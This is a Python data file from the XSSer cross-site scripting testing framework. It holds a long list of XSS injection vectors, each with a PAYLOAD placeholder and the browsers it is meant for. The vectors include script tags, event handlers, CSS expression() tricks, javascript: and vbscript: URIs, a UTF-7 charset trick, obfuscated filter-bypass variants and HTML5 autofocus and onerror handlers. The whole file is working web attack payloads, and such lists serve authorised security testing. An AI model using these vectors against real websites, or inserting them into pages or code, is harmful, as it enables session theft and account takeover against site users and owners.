"""
$Id$

This file is part of the xsser project, http://xsser.sourceforge.net.

Copyright (c) 2011/2012 psy <root@lordepsylon.net> - <epsylon@riseup.net>

xsser is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 3 of the License.

xsser is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with xsser; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""

## XXSer.py @@ fuzzing vectors @@ psy
#
## This file contains different XSS fuzzing vectors to inject in payloads and browser supports.
## If you have some new vectors, please email me to [root@lordepsylon.net - epsylon@riseup.net] and will be added to XSSer framework.
## Thats all.
###
## Happy Cross Hacking! ;)

vectors = [	{ 'payload':"""">PAYLOAD""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
                { 'payload':""""><SCRIPT>alert('PAYLOAD')</SCRIPT>""",
                  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
                { 'payload':"""</TITLE>PAYLOAD""",
	          'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':""""><img src="x:x" onerror="PAYLOAD">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},		
		{ 'payload':"""<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""'';!--"<PAYLOAD>=&{()}" """,
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	
		{ 'payload':"""<IMG SRC="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<IMG SRC=PAYLOAD>""",
  		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<IMG SRC=`PAYLOAD`>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':'<IMG """>PAYLOAD">',
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<IMG SRC=" &#14;  PAYLOAD">""",
	          'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<DIV STYLE="behaviour: url(PAYLOAD);">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
                { 'payload':"""<<SCRIPT>PAYLOAD//<</SCRIPT>""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""\";PAYLOAD//""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<IMG SRC='PAYLOAD'""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<BODY BACKGROUND="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<INPUT TYPE="IMAGE" SRC="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
                { 'payload':"""<BODY ONLOAD=PAYLOAD>""",
	          'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<IMG DYNSRC="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<IMG LOWSRC="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<BGSOUND SRC="PAYLOAD">""",
	          'browser':"""[O9.02]"""},
                { 'payload':"""<BR SIZE="&{PAYLOAD}">""",
		  'browser':"""[NS4]"""},
		{ 'payload':"""<LINK REL="stylesheet" HREF="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<IMG SRC='vbscript:PAYLOAD'>""",
	   	  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<IMG SRC="mocha:[PAYLOAD]">""",
	   	  'browser':"""[NS4]"""},
	 	{ 'payload':"""<IMG SRC="livescript:[PAYLOAD]">""",
	  	  'browser':"""[NS4]"""},
	 	{ 'payload':"""<META HTTP-EQUIV="refresh" CONTENT="0;url=PAYLOAD">""",
	   	  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
	 	{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
	          'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
                { 'payload':"""<TABLE BACKGROUND=javascript:PAYLOAD>""",
                  'browser':"""[O9.02]"""},
		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<DIV STYLE="background-image: url(PAYLOAD);">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},			  
		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<IFRAME SRC="PAYLOAD"></IFRAME>""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
                { 'payload':"""<iframe/ /onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe///////onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe "onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe/ "onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe<?php echo chr(11)?> onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
                { 'payload':"""<iframe<?php echo chr(12)?> onload=PAYLOAD></iframe>""",
                  'browser':"""Not Info"""},
   		{ 'payload':"""<FRAMESET><FRAME SRC="PAYLOAD"></FRAMESET>""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<TABLE BACKGROUND="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<TABLE><TD BACKGROUND="PAYLOAD">""",
  		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, 			  
		{ 'payload':"""<DIV STYLE="background-image: url(&#1;PAYLOAD)">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
   		{ 'payload':"""<DIV STYLE="width: expression(PAYLOAD);">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<IMG STYLE="xss:expr/*XSS*/ession(PAYLOAD)">""",
  		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, 
		{ 'payload':"""<XSS STYLE="xss:expression(PAYLOAD)">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},			  
   		{ 'payload':"""<STYLE TYPE="text/javascript">PAYLOAD</STYLE>""",
		  'browser':"""[NS4]"""},
		{ 'payload':"""<STYLE>.XSS{background-image:url("PAYLOAD");}</STYLE><A CLASS=XSS></A>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<STYLE type="text/css">BODY{background:url("PAYLOAD")}</STYLE>""",
  		  'browser':"""[IE6.0|NS8.1-IE]"""}, 		  
		{ 'payload':"""<!--[if gte IE 4]>PAYLOAD<![endif]-->""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""},
   		{ 'payload':"""<BASE HREF="PAYLOAD//">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=PAYLOAD></OBJECT>""",
		  'browser':"""[O9.02]"""},
		{ 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""",
  		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
		{ 'payload':"""<? echo('<SCR)';echo('IPT>PAYLOAD</SCRIPT>'); ?>""",
  		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, 		  
		{ 'payload':"""<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;PAYLOAD&lt;/SCRIPT&gt;">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},	 
		{ 'payload':"""<SCRIPT SRC=http://127.0.0.1>PAYLOAD</SCRIPT>""", 
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<IMG SRC="&14;javascript:PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
                { 'payload':"""<IMG SRC="jav&#x0D;ascript:PAYLOAD">""",
                  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
                { 'payload':"""--- <IMG SRC=" &#14;  PAYLOAD">""",
                  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
                { 'payload':'''--- <IMG SRC="PAYLOAD"''',
                  'browser':"""[IE6.0|NS8.1-IE] [09.02]"""},
                { 'payload':"""<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
                  'browser':"""[Not Info]"""},
                { 'payload':'''--- \";PAYLOAD;//''',
                  'browser':"""[Not Info]"""},
                { 'payload':'''<META HTTP-EQUIVo"refresh" CONTENT="0; URL=http://;URL=PAYLOAD">''',
                  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<SCRIPT <B>=PAYLOAD"></SCRIPT>""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},	 
		{ 'payload':"""<IFRAME SRC="javascript:PAYLOAD <""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<SCRIPT>a=/XSS/nPAYLOAD</SCRIPT>""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<LAYER SRC="javascript:PAYLOAD></LAYER>""",
		  'browser':"""[NS4]"""},
		{ 'payload':"""<STYLE>li {list-style-image: url("PAYLOAD</STYLE><UL><LI>XSS""", 
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<DIV STYLE="background-image: url(&#1;javascript:PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-PAYLOAD+ADw-/SCRIPT+AD4-""",
		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<a href="javascript#PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<input type="image" dynsrc="PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""&PAYLOAD">""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""&{PAYLOAD};""",
		  'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<IMG SRC=&{PAYLOAD};>""",
		  'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""},
		{ 'payload':"""<a href="about:PAYLOAD">""",
		  'browser':"""[IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""},
		{ 'payload':"""<DIV STYLE="binding: url(javascript:PAYLOAD);">""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<OBJECT classid=clsid:..." codebase="javascript:PAYLOAD">""",
		  'browser':"""[O9.02]"""},
		{ 'payload':"""<style><!--</style><SCRIPT>PAYLOAD//--></SCRIPT>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""![CDATA[<!--]]<SCRIPT>PAYLOAD//--></SCRIPT>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<!-- -- -->PAYLOAD<!-- -- -->""",
		  'browser':"""[Not Info]"""},
		{ 'payload':"""<xml id="X"><a><b>PAYLOAD;<b></a></xml>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
		{ 'payload':"""<div datafld="b" dataformatas="html" datasrc="#PAYLOAD"></div>""",
		  'browser':"""[Not Info]"""},
	#	{ 'payload':"""[\xC0][\xBC]script>PAYLOAD[\xC0][\xBC]/script>""",
	#	  'browser':"""[Not Info]"""},	
		{ 'payload':"""<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:PAYLOAD">]]</C><X></xml>""",
		  'browser':"""[IE6.0|NS8.1-IE]"""},
        #HTML5
                { 'payload':"""<form id="test" /><button form="test" formaction="javascript:PAYLOAD">X""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<input onfocus=javascript:PAYLOAD autofocus>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<select onfocus=javascript:PAYLOAD autofocus>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<textarea onfocus=javascript:PAYLOAD autofocus>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<keygen onfocus=javascript:PAYLOAD autofocus>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<input onblur=javascript:PAYLOAD autofocus><input autofocus>
""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<video poster=javascript:PAYLOAD//""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<body onscroll=PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""X<form id=test onforminput=javascript:PAYLOAD><input></form>""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""X<form id=test><input></form><button form=test onformchange==javascript:PAYLOAD>X""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<video><source onerror="javascript:PAYLOAD">""",
                  'browser':"""[HTML5 Injection]"""},
                { 'payload':"""<video onerror="javascript:PAYLOAD"><source>""",
                  'browser':"""[HTML5 Injection]"""}
]
